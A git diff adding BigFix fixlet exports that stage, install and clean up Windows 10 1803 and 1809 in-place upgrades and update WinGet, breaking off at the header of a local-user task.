+      <Value>Wed, 06 Jun 2018 17:41:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Stage
+begin prefetch block
+  add prefetch item name =SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO sha1=28681742fe850aa4bfc7075811c5244b61d462cf size=4594878464 url={value of setting "_BESClient_AllowCustomRepoDownloads" of client   | "http://MANUAL_BES_CACHING_REQUIRED/"}SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO sha256=5E3C375380CF322DC6F82FB5CC04FBA357F275FE39212620591E14F1AF2D912C
+end prefetch block
+
+//CLEANUP any old attempts
+waithidden "{pathname of system folder & "\cmd.exe"}" /C rmdir "c:\temp\Win10" /S /Q
+
+//create new installation folders
+if {not exist folder "c:\temp"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp"
+endif
+
+if {not exist folder "c:\temp\Win10"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp\Win10"
+endif
+
+move __Download\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO "c:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO"]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes
new file mode 100644
index 000000000..9ed7b5654
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes	
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1803::STAGE2::Install
+  ID       : 25519
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2018-06-06T11:41:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1803::STAGE2::Install</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1803::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
+<P>Win10-1803::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>operating system as string does not contain &quot;1803&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>if exists key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry and exists value &quot;ClearCaseMajorVersion&quot; of key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry then False else True</Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then true else false</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 Jun 2018 17:41:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+//Start inplace upgrade
+if {free space of drive of client > 5000000000}
+
+parameter "workISO" = "C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO"
+continue if {exists file (parameter "workISO")}
+continue if {sha1 of file (parameter "workISO") = "28681742fe850aa4bfc7075811c5244b61d462cf"}
+
+// prepare a workpath to temporary files.
+parameter "workPath" = "{(value of variable "SystemDrive" of environment) & "\win10_upgrade_temp"}"
+waithidden cmd /C rmdir /S /Q "{parameter "workPath"}"
+waithidden cmd /C mkdir "{parameter "workPath"}"
+
+// Create the cleanup file.
+delete __appendfile
+delete setupcomplete.cmd
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+// appendfile powershell.exe "Dismount-DiskImage ""%WindowsISO%"""
+// appendfile rmdir /S /Q "{parameter "workPath"}"
+
+move __appendfile setupcomplete.cmd
+
+
+// Create a debug invocation batch to help in case of failures.
+// This batch does not perform an update but with the scanonly option allows you to determine what the problem is.
+delete __appendfile
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO %%I:\setup.exe /auto upgrade /Compat ScanOnly /DynamicUpdate disable"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+
+move __appendfile "{(parameter "workPath") & "/upgradeCheck.bat"}"
+
+// Create the actual invocation script
+// Sleep and Dir were added or command would fail with %errorlevel%	183. Possibly a delay on mount.
+delete __appendfile
+delete mount.and.install.bat
+
+appendfile @echo on
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile powershell.exe "Mount-DiskImage ""%WindowsISO%"""
+appendfile TIMEOUT 10
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO dir %%I: > "{parameter "workPath"}\dir.log" && %%I:\setup.exe /auto upgrade /Quiet /DynamicUpdate disable /postoobe "{pathname of client folder of current site & "\setupcomplete.cmd"}"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+move __appendfile mount.and.install.bat
+
+wait mount.and.install.bat > "{parameter "workPath"}\cmd.log"
+
+wait setupcomplete.cmd >"{parameter "workPath"}\setupcomplete.log"
+
+// setup must finish with RC=0 at this stage if things are ok. If that is not the case content of C:\"\win10_upgrade_temp dir holds useful info.
+// Apart from log files, you can run upgradeCheck manually to check with the UI what the problem is.
+
+action requires restart "28681742fe850aa4bfc7075811c5244b61d462cf"
+endif
+
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes
new file mode 100644
index 000000000..723c321fb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE3__Cleanup (25520).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1803::STAGE3::Cleanup
+  ID       : 25520
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2018-06-06T11:42:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1803::STAGE3::Cleanup</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1803::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
+<P>Win10-1803::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then true else false</Relevance>
+    <Relevance>version of operating system as string contains &quot;17134&quot;</Relevance>
+    <Category>ARRIS Management</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-07-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Jun 2018 09:44:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">folder delete &quot;C:\temp\Win10&quot;</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes
new file mode 100644
index 000000000..17fcf77bc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE1__Stage Installation Files (25593).bes	
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1809::STAGE1::Stage Installation Files
+  ID       : 25593
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2019-01-09T03:31:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1809::STAGE1::Stage Installation Files</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1809::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
+<P>Win10-1809::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL></DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>operating system as string does not contain &quot;1809&quot;</Relevance>
+    <Relevance><![CDATA[(not exists values "ClearCaseMajorVersion" whose (it as string as version < "10") of keys "HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion" of (x32 registries; x64 registries))]]></Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then false else true</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Jan 2019 15:55:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Stage
+begin prefetch block
+  add prefetch item name =SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO sha1=6208B319DE3AAF0D8EC5B8D0F710E2744F89D0B4 size=4994043904 url={value of setting "_BESClient_AllowCustomRepoDownloads" of client   | "http://MANUAL_BES_CACHING_REQUIRED/"}SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO sha256=54B42DBD42C7839B8CF28E256763458AEB1C30CB858ACAA2029A08F8F54E5C28
+end prefetch block
+
+//CLEANUP any old attempts
+waithidden "{pathname of system folder & "\cmd.exe"}" /C rmdir "c:\temp\Win10" /S /Q
+
+//create new installation folders
+if {not exist folder "c:\temp"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp"
+endif
+
+if {not exist folder "c:\temp\Win10"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp\Win10"
+endif
+
+move __Download\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO "c:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO"]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes
new file mode 100644
index 000000000..5f82eaea0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE2__Install (25594).bes	
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1809::STAGE2::Install
+  ID       : 25594
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2019-01-09T03:31:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1809::STAGE2::Install</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1809::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
+<P>Win10-1809::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>operating system as string does not contain &quot;1809&quot;</Relevance>
+    <Relevance><![CDATA[(not exists values "ClearCaseMajorVersion" whose (it as string as version < "10") of keys "HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion" of (x32 registries; x64 registries))]]></Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then true else false</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2019-01-07</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Jan 2019 11:36:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+//Start inplace upgrade
+if {free space of drive of client > 5000000000}
+
+parameter "workISO" = "C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO"
+continue if {exists file (parameter "workISO")}
+continue if {sha1 of file (parameter "workISO") = "6208b319de3aaf0d8ec5b8d0f710e2744f89d0b4"}
+
+// prepare a workpath to temporary files.
+parameter "workPath" = "{(value of variable "SystemDrive" of environment) & "\win10_upgrade_temp"}"
+waithidden cmd /C rmdir /S /Q "{parameter "workPath"}"
+waithidden cmd /C mkdir "{parameter "workPath"}"
+
+// Create the cleanup file.
+delete __appendfile
+delete setupcomplete.cmd
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+// appendfile powershell.exe "Dismount-DiskImage ""%WindowsISO%"""
+// appendfile rmdir /S /Q "{parameter "workPath"}"
+
+move __appendfile setupcomplete.cmd
+
+
+// Create a debug invocation batch to help in case of failures.
+// This batch does not perform an update but with the scanonly option allows you to determine what the problem is.
+delete __appendfile
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO %%I:\setup.exe /auto upgrade /Compat ScanOnly /DynamicUpdate disable"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+
+move __appendfile "{(parameter "workPath") & "/upgradeCheck.bat"}"
+
+// Create the actual invocation script
+// Sleep and Dir were added or command would fail with %errorlevel%	183. Possibly a delay on mount.
+delete __appendfile
+delete mount.and.install.bat
+
+appendfile @echo on
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile powershell.exe "Mount-DiskImage ""%WindowsISO%"""
+appendfile TIMEOUT 10
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO dir %%I: > "{parameter "workPath"}\dir.log" && %%I:\setup.exe /auto upgrade /Quiet /DynamicUpdate disable /postoobe "{pathname of client folder of current site & "\setupcomplete.cmd"}"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+move __appendfile mount.and.install.bat
+
+wait mount.and.install.bat > "{parameter "workPath"}\cmd.log"
+
+wait setupcomplete.cmd >"{parameter "workPath"}\setupcomplete.log"
+
+// setup must finish with RC=0 at this stage if things are ok. If that is not the case content of C:\"\win10_upgrade_temp dir holds useful info.
+// Apart from log files, you can run upgradeCheck manually to check with the UI what the problem is.
+
+action requires restart "6208b319de3aaf0d8ec5b8d0f710e2744f89d0b4"
+endif
+
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes
new file mode 100644
index 000000000..5f5d5e386
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1809__STAGE3__Cleanup (25595).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1809::STAGE3::Cleanup
+  ID       : 25595
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2019-01-09T03:32:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1809::STAGE3::Cleanup</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1809::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1809::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1809</LI></UL>
+<P>Win10-1809::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD9_Win_Pro_Ent_Edu_N_10_1809_64-bit_English_MLF_X21-96501.ISO&quot; then true else false</Relevance>
+    <Relevance>name of operating system contains &quot;Win10&quot;</Relevance>
+    <Relevance>version of operating system as string contains &quot;17763&quot;</Relevance>
+    <Category>ARRIS Management</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-07-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Jan 2019 15:57:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">folder delete &quot;C:\temp\Win10&quot;</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes b/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes
new file mode 100644
index 000000000..628c6f504
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/WinGet (WinGet method) (27387).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : WinGet (WinGet method)
+  ID       : 27387
+  Author   : skyler
+  Domain   : BESC
+  Imported : 2025-09-16T09:39:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>WinGet (WinGet method)</Title>
+    <Description>Installs latest version of WinGet using WinGet. </Description>
+    <Relevance><![CDATA[(name of it starts with "Win" and version of it >= "10.0.16299.0") of operating system and true]]></Relevance>
+    <Relevance>exists key whose (value &quot;DisplayName&quot; of it as string starts with &quot;Microsoft Visual C++ 2015-2022 Redistributable (x64)&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry and true</Relevance>
+    <Relevance>exists files &quot;winget.exe&quot; of folders whose (name of it starts with &quot;Microsoft.DesktopAppInstaller&quot; and name of it ends with &quot;x64__8wekyb3d8bbwe&quot;) of folder &quot;C:\Program Files\WindowsApps&quot; and true</Relevance>
+    <Relevance><![CDATA[not exists files "winget.exe" whose (version of it >= "1.24.25180.0") of folders whose (name of it starts with "Microsoft.DesktopAppInstaller" and name of it ends with "x64__8wekyb3d8bbwe") of folder "C:\Program Files\WindowsApps"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-07-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 21 Jul 2025 19:19:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-PowerShell"># Get winget location that SYSTEM user can access
+$wingetPath = (Resolve-Path &apos;C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_*_x64__8wekyb3d8bbwe\winget.exe&apos;)[-1].Path
+
+# Attempt to install winget using winget
+$process = Start-Process $wingetPath -ArgumentList &apos;install --id Microsoft.AppInstaller --accept-source-agreements --accept-package-agreements&apos; -Wait -PassThru
+
+# If install failed, attempt install with Repair-WinGetPackageManager
+if ($process.ExitCode -ne 0) {
+	$progressPreference = &apos;SilentlyContinue&apos;
+	Install-PackageProvider -Name NuGet -Force
+	Install-Module -Name Microsoft.WinGet.Client -Force -Repository PSGallery
+	Repair-WinGetPackageManager
+}</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes
new file mode 100644
index 000000000..2e60570bb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows - New local user definition (27388).bes	
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows - New local user definition
